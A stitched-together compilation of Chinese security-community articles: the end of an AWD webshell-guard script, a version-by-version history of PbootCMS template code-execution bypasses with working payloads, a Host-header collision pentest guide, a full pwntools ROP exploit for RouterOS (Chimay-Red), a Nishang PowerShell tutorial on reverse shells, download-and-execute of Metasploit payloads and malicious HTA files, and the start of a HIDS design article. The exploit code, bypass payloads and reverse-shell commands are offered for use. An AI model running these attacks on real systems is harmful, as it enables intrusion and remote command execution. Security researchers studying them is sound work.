print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
## 参考文章
[国赛分区赛awd赛后总结](https://www.anquanke.com/post/id/245158#h3-19)
[AWD 赛前准备](https://justloseit.top/AWD%20%E8%B5%9B%E5%89%8D%E5%87%86%E5%A4%87/)
[fork](https://linux.cn/article-5685-1-rss.html)
[修复方案](https://qftm.github.io/2019/08/03/AWD-Bugs-Fix/#toc-heading-22)
[awd-waf](https://github.com/sharpleung/CTF-WAF) | 社区文章 |
# PbootCMS任意代码执行的前世今生
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## PbootCMS (v1.1.5及其以下)
### 漏洞复现
poc:
{pboot:if(system(whoami))}{/pboot:if}
### 漏洞分析
漏洞点位于`/apps/home/controller/ParserController.php`
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
// 对于无参数函数不执行解析工作
if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
......
这里有通过两个正则表达式后即可进入`eval`函数且`$content`是可控的
第一个正则表达式限制格式格式必须为`{pboot:if(payload)}{/pboot:if}`形式
第二个正则表达式不允许出现字母后面加`()`的情况，如`phpinfo()`
这里很好绕过，比如`phpinfo(1)`，`system(任意命令)`
## PbootCMS (v1.1.6-v1.1.8)
### 漏洞分析
从`1.1.6`对之前存在的任意代码执行漏洞进行了修补，增加了部分函数黑名单，代码如下
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
// IF语句需要过滤的黑名单
$black = array(
'chr',
'phpinfo',
'eval',
'passthru',
'exec',
'system',
'chroot',
'scandir',
'chgrp',
'chown',
'shell_exec',
'proc_open',
'proc_get_status',
'error_log',
'ini_alter',
'ini_set',
'ini_restore',
'dl',
'pfsockopen',
'syslog',
'readlink',
'symlink',
'popen',
'stream_socket_server',
'putenv',
'unlink',
'path_delete',
'rmdir',
'session',
'cookie',
'mkdir',
'create_dir',
'create_file',
'check_dir',
'check_file'
);
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
foreach ($black as $value) {
if (preg_match('/' . $value . '([\s]+)?\(/i', $matches[1][$i])) {
$danger = true;
break;
}
}
// 如果有危险字符，则不解析该IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
显然黑名单有漏网之鱼，但是由于将单引号、双引号都进行了`html`实体转义让很多函数不能使用，但是依然有可以用的，如`base64_decode`，反引号等
payload1
{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}
payload2
{pboot:if(var_dump(`whoami`))}{/pboot:if}
## PbootCMS(v1.1.9-v1.3.2)
发现黑名单有不足于是改成了白名单，代码如下
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
$white_fun = array(
'date'
);
// 不允许执行带有函数的条件语句
if (preg_match_all('/([\w]+)([\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 如果有危险字符，则不解析该IF
if ($danger) {
continue;
} else {
$matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
......
如果我们能绕过`function_exists`的检测就行了网上有师傅给了如下绕过思路
payload1
{pboot:if(syste\m(whoami));//)}{/pboot:if}
payload2
{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system
后面的版本添加了正则匹配`eval`，其实也没啥用，上面两个`payload`一样可以用
## PbootCMS(v1.3.3-v2.0.2)
过滤了特殊字符导致使用非交互式直接执行任意代码的时代结束
然而留言部分任然存在任意代码执行，代码如下
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);
// 还原可能包含的保留内容，避免判断失效
$matches[1][$i] = $this->restorePreLabel($matches[1][$i]);
// 解码条件字符串
$matches[1][$i] = decode_string($matches[1][$i]);
// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 不允许从外部获取数据
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i', $matches[1][$i])) {
$danger = true;
}
// 如果有危险函数，则不解析该IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
禁止了外部数据的获取，白名单处的正则匹配不严谨，导致函数名+空格+()可以实现绕过
payload
{pboot:if(system (whoami))}{/pboot:if}
## PbootCMS(v2.0.3)
增加了外部获取数据过滤部分，代码如下
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i', $matches[1][$i])) {
$danger = true;
}
并不影响我们使用`system`函数，提交上一个版本`payload`，发现`pboot:if`被删掉了
在`apps/home/controller/IndexController.php`里第270行
使用了将`pboot:if`替换为空
所以直接双写绕过
payload
{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}
## PbootCMS(v2.0.4-v2.0.7)
使用上一个版本`payload`，发下双写也被过滤了
改动的地方位于`/core/basic/Model.php`，增加了如下代码
也就是再过滤了一次`pboot:if`，然而这种替换为空是根本没用的，于是三重写绕过，但是`v2.0.4`还增加了正则黑名单的过滤，禁用了`system`等函数，代码如下
正则匹配黑名单加强，代码如下
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
$danger = true;
}
发现漏掉了`assert`函数，没用过滤`chr`函数，所以直接拼接绕过
payload
{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}
## PbootCMS(v2.0.8)
从`v2.0.8`开始采用递归替换`pboot:if`，位于`/app/home/controller/MessageController.php`第61行
$field_data = preg_replace_r('/pboot:if/i', '', $field_data);
跟进一下，位于`/core/function/handle.php`
function preg_replace_r($search, $replace, $subject)
{
while (preg_match($search, $subject)) {
$subject = preg_replace($search, $replace, $subject);
}
return $subject;
}
这样就无法采用双写绕过了，正则表达式处改动了，导致函数+空格被过滤，代码如下
if (preg_match_all('/([\w]+)([\s\\\\]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
后台不会经过`preg_replace`函数的处理，使用的白名单里`implode`函数任然可以实现任意代码执行
payload
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['s','y','s','t','e','m']),implode('',['w','h','o','a','m','i'])))}{/pboot:if}
## 后记
`PbootCMS`的最新版本`v3.0.1`已经发布修复了该漏洞，从`v1.0.1`最开始的第一个版本到`v2.0.9`历时2年经过不断的漏洞修复，但是每次修复后就被绕过，不由得引发一系列反思 | 社区文章 |
### 引言
在渗透测试中，搜集了很多IP资产，端口也开放了WEB服务，但打开总是403 404
400错误，扫目录也扫不到东西。这时候可以尝试利用HOSTS碰撞技术突破其边界对其内网系统进行攻击。
### 0x01 HOSTS碰撞
什么是HOSTS碰撞，当直接访问IP回显4xx错误，直接指定HOST头为某个域名时访问该IP回显正常时，可判断可进行HOSTS碰撞。
当一些域名只允许在内网访问时，可通过这种碰撞直接突破边界限制，访问到内网系统进行下一步渗透测试。
### 0x02 配置不当
如Nginx、Apache中，都可通过配置文件进行域名绑定，如Nginx的default_server，Apache的httpd.conf配置中的ServerName。直接访问IP是无法访问成功的，而访问其绑定的域名才可以访问成功。在访问域名的时候能够直接重定向服务器相关站点的目录下，即可成功访问。
### 0x03 如何利用
* 搜集指向目标内网IP的域名
* 搜集目标IP资产
* 进行碰撞
最主要的是搜集指向内网IP的域名，可以通过OneForAll等工具搜集一些子域名，挑选出指向内网IP的域名，如下图所示，把这些内网IP对应的域名进行搜集。
然后搜集目标资产的IP，探测Web服务。
将探测到开放WEB服务的IP资产搜集起来。
然后通过某佬写的[Hosts_scan](https://github.com/fofapro/Hosts_scan)，将搜集到的域名和IP分别放入hosts.txt
和 ip.txt（也可以在host中添加一些内网办公系统常用的子域名）运行，通过对比数据包大小和标题即可得到匹配成功的Host头与对应IP。
也可对某个IP的Host头的值进行Fuzz
然后在Burp Proxy中的Options选项中设置好Host头的Replace规则
配置好并启用后通过浏览器设置Burp代理访问该IP后即可访问设置的内网系统。
可对内网系统进一步进行渗透测试。
### 参考资料
[nginx配置不当容易产生的安全问题](https://www.cnblogs.com/sevck/p/11498249.html)
<http://r3start.net/wp-content/uploads/2019/08/2019080916135087.pdf> 议题PPT
[利用火器DNS数据集进行hosts碰撞,
发现某厂商严重漏洞](https://articles.zsxq.com/id_s228po7lm8cz.html)
<https://segmentfault.com/a/1190000015681272>
<https://github.com/fofapro/Hosts_scan> | 社区文章 |
### 前言
前面已经分析完漏洞，并且搭建好了调试环境，本文将介绍如何利用漏洞写出 `exploit`
### 正文
**控制 eip**
看看我们现在所拥有的能力
我们可以利用 `alloca` 的 `sub esp *` 把栈抬高，然后往 那里写入数据。
现在的问题是我们栈顶的上方有什么重要的数据是可以修改的。
一般情况下，我们是没办法利用的，因为 栈上面就是 堆， 而他们之间的地址是不固定的。
为了利用该漏洞，需要了解一点多线程实现的机制，不同线程拥有不同的线程栈， 而线程栈的位置就在 进程的 栈空间内。线程栈 按照线程的创建顺序，依次在
栈上排列。线程栈的大小可以指定。默认大概是 8MB.
写了一个小程序，测试了一下。
#include <pthread.h>
#include <stdio.h>
#include <sys/time.h>
#include <string.h>
#define MAX 10
pthread_t thread[2];
pthread_mutex_t mut;
int number=0, i;
void *thread1()
{
int a;
printf("thread1 %p\n", &a);
}
void *thread2()
{
int a;
printf("thread2 %p\n", &a);
}
void thread_create(void)
{
int temp;
memset(&thread, 0, sizeof(thread)); //comment1
/*创建线程*/
if((temp = pthread_create(&thread[0], NULL, thread1, NULL)) != 0) //comment2
printf("线程1创建失败!\n");
else
printf("线程1被创建\n");
if((temp = pthread_create(&thread[1], NULL, thread2, NULL)) != 0) //comment3
printf("线程2创建失败");
else
printf("线程2被创建\n");
}
void thread_wait(void)
{
/*等待线程结束*/
if(thread[0] !=0) { //comment4
pthread_join(thread[0],NULL);
printf("线程1已经结束\n");
}
if(thread[1] !=0) { //comment5
pthread_join(thread[1],NULL);
printf("线程2已经结束\n");
}
}
int main()
{
/*用默认属性初始化互斥锁*/
pthread_mutex_init(&mut,NULL);
printf("我是主函数哦，我正在创建线程，呵呵\n");
thread_create();
printf("我是主函数哦，我正在等待线程完成任务阿，呵呵\n");
thread_wait();
return 0;
}
就是打印了两个线程中的栈内存地址信息，然后相减，就可以大概知道线程栈的大小。
多次运行发现，线程栈之间应该是相邻的，因为打印出来的值的差是固定的。
线程栈也是可以通过 `pthread_attr_setstacksize` 设置, 在 `RouterOs` 的 `www`的 `main`
函数里面就进行了设置。
所以在 `www` 中的线程栈的大小 为 `0x20000`。
当我们同时开启两个 `socket` 连接时，程序会创建2个线程来处理，此时进程的栈布局
此时在 `线程 1` 中触发漏洞，我们就能修改 `线程 2` 的数据。
现在的思路就很简单了，我们去修改 线程2 中的某个返回地址， 然后进行 `rop`.为了精确控制返回地址。先使用 `cyclic`
来确定返回地址的偏移.因为该程序线程栈的大小为 `0x20000` 所以用一个大一点的值试几次就能试出来。
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)
s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause()
s1.send(cyclic(0x2000))
sleep(0.5)
pause()
s2.close() # tigger
pause()
崩溃后的位置
然后用 `eip` 的值去计算下偏移
然后调整 `poc` 测试一下
ok, 接下来就是 `rop` 了。
**rop**
程序中没有 `system`, 所以我们需要先拿到 `system` 函数的地址，然后调用 `system` 执行命令即可。
这里采取的 `rop` 方案如下。
* 首先 通过 `rop` 调用 `strncpy` 设置我们需要的字符串（我们只有一次输入机会）
* 然后调用 `dlsym` , 获取 `system` 的函数
* 调用 `system` 执行命令
使用 `strncpy` 设置我们需要的字符串的思路非常有趣。 因为我们只有一次的输入机会，而`dlsym` 和 `system` 需要的参数都是
字符串指针， 所以我们必须在 调用它们之前把 需要的字符串事先布置到已知的地址，使用 `strncpy` 我们可以使用
程序文件中自带的一些字符来拼接字符串。
下面看看具体的 `exp`
首先这里使用 了 `ret 0x1bb` 用来把栈往下移动了一下，因为程序运行时会修改其中的一些值，导致 `rop`
链被破坏，把栈给移下去就可以绕过了。（这个自己调 `rop` 的时候注意看就知道了。）
首先我们得设置 `system` 字符串 和 要执行的命令 这里为 `halt`(关机命令)。 以 `system` 字符串 的构造为例。
分3次构造了 `system` 字符串，首先设置 `sys` , 然后 `te` , 最后 `m`.
同样的原理设置好 `halt` , 然后调用 `dlsym` 获取 `system` 的地址。
执行 `dlsym(0, "system")` 即可获得 `system` 地址， 函数返回时保存在 `eax`, 所以接下来
在栈上设置好参数（`halt` 字符串的地址） 然后 `jmp eax` 即可。
下面调试看看
首先 `ret 0x1bb`, 移栈
然后是执行 `strncpy` 设置 `system`.
设置完后，我们就有了 `system`
然后执行 `dlsym(0, "system")`
执行完后， `eax` 保存着 `system` 函数的地址
然后利用 `jmp eax` 调用 `system("halt")`.
运行完后，系统就关机了（成功执行了 `halt` 命令）。
### 最后
理解了多线程的机制。 对于不太好计算的，可以猜个粗略的值，然后使用 `cyclic` 来确定之。 `strncpy` 设置字符串的技巧不错。
`dlsym(0, "system")` 可以用来获取函数地址。调试 `rop` 时要细心，`rop` 链被损坏使用 `ret *`
之类的操作绕过之。一些不太懂的东西，写个小的程序测试一下。
**exp**
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)
s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause()
strncpy_plt = 0x08050D00
dlsym_plt = 0x08050C10
system_addr = 0x0805C000 + 2
halt_addr = 0x805c6e0
#pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# .text:08059C03 pop ebx
# .text:08059C04 pop esi
# .text:08059C05 pop ebp
# .text:08059C06 retn
ppp_addr = 0x08059C03
pp_addr = 0x08059C04
pppppr_addr = 0x080540b4
# 0x0805851f : ret 0x1bb
ret_38 = 0x0804ae8c
ret_1bb = 0x0805851f
ret = 0x0804818c
# make system str
payload = ""
payload += p32(ret_1bb) # for bad string
payload += p32(ret)
payload += "A" * 0x1bb
payload += p32(ret) # ret
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr)
payload += p32(0x0805ab58) # str syscall
payload += p32(3)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 3)
payload += p32(0x0805b38d) # str tent
payload += p32(2)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 5)
payload += p32(0x0805b0ec) # str mage/jpeg
payload += p32(1)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr)
payload += p32(0x0805670f)
payload += p32(2)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr + 2)
payload += p32(0x0804bca1)
payload += p32(2)
payload += "B" * 8 # padding
# call dlsym(0, "system") get system addr
payload += p32(dlsym_plt)
payload += p32(pp_addr)
payload += p32(0)
payload += p32(system_addr)
payload += p32(0x0804ab5b)
payload += "BBBB" # padding ret
payload += p32(halt_addr)
s1.send(cyclic(1612) + payload + "B" * 0x100)
sleep(0.5)
pause()
s2.close()
pause()
**参考**
<https://github.com/BigNerd95/Chimay-Red> | 社区文章 |
# 【技术分享】Powershell 渗透测试工具-Nishang（一）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **阻圣** ****](http://bobao.360.cn/member/contribute?uid=134615136)
**稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[ **网页版**
****](http://bobao.360.cn/contribute/index) **在线投稿**
**
**
**传送门**
* * *
[**【技术分享】Powershell 渗透测试工具-Nishang（二）**
****](http://bobao.360.cn/learning/detail/3200.html)
**
**
**前言**
Nishang是一个PowerShell攻击框架，它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段，本文主要介绍如何使用Nishang的各种姿势获取一个shell。
**正向连接and反向连接**
* * *
新手肯定都有这个疑问，什么时候用正向连接，什么时候用反向连接呢？其实很简单：
目标在外网而你在内网的时候，用正向连接。
目标在内网而你在外网的时候，用反向连接。
都在外网的时候，两种方式皆可。
**Powershell交互式Shell**
**一、基于TCP协议的Powershell交互式Shell**
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell，基于TCP协议。
参数介绍：
-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址
-Port <Int32> 选择-Reverse选项时是需要连接到的端口，选择-Bind选项时是需要监听的端口。
-Reverse [<SwitchParameter>] 反向连接
-Bind [<SwitchParameter>] 正向连接
使用实例：
1\. 正向连接
第一步：在目标机运行脚本，监听端口86
第二步：使用nc连接到目标机端口86
2\. 反向连接
第一步：使用nc监听本地端口86（注意必须先监听，不然在目标机上执行脚本会出错）
root@kali:~# nc -ltp 86
第二步：在目标机上反弹shell
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.110.128 -Port 86
第三步：观察攻击机，可以发现成功反弹shell
**二、基于UDP协议的PowerShell交互式Shell**
Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell，基于UDP协议。
使用实例：
1\. 正向连接
正向连接，和上面用法相同，不过是基于UDP协议，所以nc命令就要改动一下了。
2\. 反向连接
反向连接，和上面用法相同，不过在使用nc监听的时候使用UDP协议。
**三、基于HTTP和HTTPS协议的PowerShell交互式Shell**
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell，基于HTTP协议和HTTPS协议。
用法实例：（由于两种脚本用法相同，这里以基于HTTP协议的脚本为例子）
第一步：首先我们需要在攻击机上使用脚本，需要的信息有攻击机IP，要监听的端口。运行完脚本，就等着目标机反弹Shell了。
第二步：在目标机上运行下列命令，反弹Shell
**扫描进行时**
* * *
Nishang基本上包含了渗透测试各个阶段的脚本，在扫描阶段，它也有两个很实用的脚本暴力破解和端口扫描。
**一、暴力破解-Invoke-BruteForce**
Invoke-BruteForce是Nishang中一个专注于暴力破解的脚本，它可以破解SQL
Server、ActiveDirecotry、FTP、Web等服务。
使用实例：
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusername.txt -PasswordList C:testpassword.txt -Service SQL -Verbose
**二、端口扫描-Invoke-PortScan**
Invoke-PortScan是Nishang中一个端口扫描脚本，它可以发现主机、解析主机名、端口扫描，是实战中一个很实用的脚本。
参数介绍：
-StartAddress <String>起始IP
-EndAddress <String>终止IP
-ResolveHost 加上这个参数，解析主机名。
-ScanPort 加上这个参数，扫描端口
-Ports 指定扫描的端口
实用实例：
发现存活主机，解析主机名、扫描80端口是否开放。
Invoke -StartAddress 192.168.110.1 -EndAddress 192.168.110.130 -ResolveHost -ScanPort -Ports 80
**常用Execution**
* * *
**一、Download_Execute**
Download_Execute是Nishang中一个下载执行脚本，它在实战中最常用的功能就是下载一个文本文件，然后将其转换为可执行文件执行。
使用实例：
第一步：首先我们需要使用Nishang中的exetotext.ps1脚本将可执行文件更改为文本文件。
PS C:Usersroot> ExetoText c:powershellmsf.exe c:powershellmsf.txt
Converted file written to c:powershellmsf.txt
第二步：使用Download_Execute下载执行文本文件
PS C:Usersroot> Download_Execute http://192.168.110.128/msf.txt
第三步：观察Metasploit。可以发现成功获得Shell
**客户端**
* * *
Nishang中还有生成各种危害文件的脚本，它们可以生成各种感染的文件，如HTA、Word，来执行powershell脚本。可以神不知鬼不觉的发动攻击，由于各个脚本用法相同，这里以生成受感染的HTA为例子。
**Out-HTA**
功能：创建受感染的HTA文件，可以执行PowerShell命令和脚本。
用法实例：
第一步：我们先来创建受感染的HTA文件。在下图中我们可以发现成功生成了一个受感染的HTA文件hello.hta
第二步：先使用nc来监听端口，然后运行受感染的HTA文件，可以发现成功反弹Shell
**其他**
* * *
Nishang中还有很多经典实用的渗透脚本，不可能一一为大家讲解，这里挑选几种常用的为大家来介绍一下。
项目地址：[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
**信息收集**
1\. Check-VM 这是Nishang中检测目标机是否为虚拟机的脚本。
2\. Copy-VSS 使用卷影拷贝服务来复制SAM文件。
3\. Get-Information 从目标机上获取有价值信息的脚本
4\. Get-PassHashes 从目标机上获取Hash密码的脚本。
5\. Get-WLAN-Keys 从目标机上获取纯文本的WLAN密钥。
6\. Keylogger 键盘记录脚本，大家应该都熟悉。
7\. Invoke-Mimikatz 在内存中加载Mimikatz，Mimikatz大家都熟悉吧，不作介绍了。
**后门**
1\. HTTP-Backdoor 可以接收来自第三方网站的指令，并在内存中执行PowerShell脚本。
2\. DNS_TXT_Pwnage 可以在DNS TXT查询中接收指令和PowerShell脚本，并在目标机上执行。
3\. Execute-OnTime 可以在目标机上指定时间执行PowerShell脚本。
4\. Gupt-Backdoor 可以从WLAN SSID中接收命令和脚本，而不用去连接它。
**总结**
* * *
Nishang的脚本还有很多没有介绍到，它覆盖了后门、信息收集、反弹shell、下载执行等多种脚本，需要大家慢慢学习在实战中运用学习吧，国内关于这方面的文章还是很少，仅作技术分享，谢谢。
**传送门**
* * *
[**【技术分享】Powershell 渗透测试工具-Nishang（二）**
****](http://bobao.360.cn/learning/detail/3200.html) | 社区文章 |
## 背景
近年来，互联网上安全事件频发，企业信息安全越来越受到重视，而IDC服务器安全又是纵深防御体系中的重要一环。保障IDC安全，常用的是基于主机型入侵检测系统Host-based Intrusion Detection
System，即HIDS。在HIDS面对几十万台甚至上百万台规模的IDC环境时，系统架构该如何设计呢？复杂的服务器环境，网络环境，巨大的数据量给我们带来了哪些技术挑战呢？
## 需求描述
对于HIDS产品，我们安全部门的产品经理提出了以下需求：
1. 满足50W-100W服务器量级的IDC规模。
2. 部署在高并发服务器生产环境，要求Agent低性能低损耗。
3. 广泛的部署兼容性。
4. 偏向应用层和用户态入侵检测（可以和内核态检测部分解耦）。
5. 针对利用主机Agent排查漏洞的最急需场景提供基本的能力，可以实现海量环境下快速查找系统漏洞。
6. Agent跟Server的配置下发通道安全。
7. 配置信息读取写入需要鉴权。
8. 配置变更历史记录。
9. Agent插件具备自更新功能。
## 分析需求
首先，服务器业务进程优先级高，HIDS Agent进程自己可以终止，但不能影响宿主机的主要业务，这是第一要点，那么业务需要具备熔断功能，并具备自我恢复能力。
其次，进程保活、维持心跳、实时获取新指令能力，百万台Agent的全量控制时间一定要短。举个极端的例子，当Agent出现紧急情况，需要全量停止时，那么全量停止的命令下发，需要在1-2分钟内完成，甚至30秒、20秒内完成。这些将会是很大的技术挑战。
还有对配置动态更新，日志级别控制，细分精确控制到每个Agent上的每个HIDS子进程，能自由地控制每个进程的启停，每个Agent的参数，也能精确的感知每台Agent的上线、下线情况。
同时，Agent本身是安全Agent，安全的因素也要考虑进去，包括通信通道的安全性，配置管理的安全性等等。
最后，服务端也要有一致性保障、可用性保障，对于大量Agent的管理，必须能实现任务分摊，并行处理任务，且保证数据的一致性。考虑到公司规模不断地扩大，业务不断地增多，特别是美团和大众点评合并后，面对的各种操作系统问题，产品还要具备良好的兼容性、可维护性等。
总结下来，产品架构要符合以下特性：
1. 集群高可用。
2. 分布式，去中心化。
3. 配置一致性，配置多版本可追溯。
4. 分治与汇总。
5. 兼容部署各种Linux 服务器，只维护一个版本。
6. 节省资源，占用较少的CPU、内存。
7. 精确的熔断限流。
8. 服务器数量规模达到百万级的集群负载能力。
## 技术难点
在列出产品需要实现的功能点、技术点后，再来分析下遇到的技术挑战，包括不限于以下几点：
* 资源限制，较小的CPU、内存。
* 五十万甚至一百万台服务器的Agent处理控制问题。
* 量级大了后，集群控制带来的控制效率，响应延迟，数据一致性问题。
* 量级大了后，数据传输对整个服务器内网带来的流量冲击问题。
* 量级大了后，运行环境更复杂，Agent异常表现的感知问题。
* 量级大了后，业务日志、程序运行日志的传输、存储问题，被监控业务访问量突增带来监控数据联动突增，对内网带宽，存储集群的爆发压力问题。
我们可以看到，技术难点几乎都是 **服务器到达一定量级** 带来的，对于大量的服务，集群分布式是业界常见的解决方案。
## 架构设计与技术选型
对于管理Agent的服务端来说，要实现高可用、容灾设计，那么一定要做多机房部署，就一定会遇到数据一致性问题。那么数据的存储，就要考虑分布式存储组件。
分布式数据存储中，存在一个定理叫`CAP定理`：
### CAP的解释
关于`CAP定理`，分为以下三点：
* 一致性（Consistency）：分布式数据库的数据保持一致。
* 可用性（Availability）：任何一个节点宕机，其他节点可以继续对外提供服务。
* 分区容错性（网络分区）Partition Tolerance：一个数据库所在的机器坏了，如硬盘坏了，数据丢失了，可以添加一台机器，然后从其他正常的机器把备份的数据同步过来。
根据定理，分布式系统只能满足三项中的两项而不可能满足全部三项。理解`CAP定理`的最简单方式是想象两个节点分处分区两侧。允许至少一个节点更新状态会导致数据不一致，即丧失了Consistency。如果为了保证数据一致性，将分区一侧的节点设置为不可用，那么又丧失了Availability。除非两个节点可以互相通信，才能既保证Consistency又保证Availability，这又会导致丧失Partition
Tolerance。
参见：[CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem)
### CAP的选择
为了容灾上设计，集群节点的部署，会选择的异地多机房，所以 「Partition tolerance」是不可能避免的。 **那么可选的是`AP` 与
`CP`。**
在HIDS集群的场景里，各个Agent对集群持续可用性没有非常强的要求，在短暂时间内，是可以出现异常，出现无法通讯的情况。但最终状态必须要一致，不能存在集群下发关停指令，而出现个别Agent不听从集群控制的情况出现。所以，我们需要一个满足
**`CP`** 的产品。
### 满足CP的产品选择
在开源社区中，比较出名的几款满足CP的产品，比如etcd、ZooKeeper、Consul等。我们需要根据几款产品的特点，根据我们需求来选择符合我们需求的产品。
插一句，网上很多人说Consul是AP产品，这是个错误的描述。既然Consul支持分布式部署，那么一定会出现「网络分区」的问题，
那么一定要支持「Partition tolerance」。另外，在consul的官网上自己也提到了这点 [Consul uses a CP
architecture, favoring consistency over availability.
](https://www.consul.io/intro/vs/serf.html)
> Consul is opinionated in its usage while Serf is a more flexible and general
> purpose tool. In CAP terms, Consul uses a CP architecture, favoring
> consistency over availability. Serf is an AP system and sacrifices
> consistency for availability. This means Consul cannot operate if the
> central servers cannot form a quorum while Serf will continue to function
> under almost all circumstances.
**etcd、ZooKeeper、Consul对比**
借用etcd官网上etcd与ZooKeeper和Consul的比较图。
在我们HIDS Agent的需求中，除了基本的`服务发现` 、`配置同步` 、`配置多版本控制`
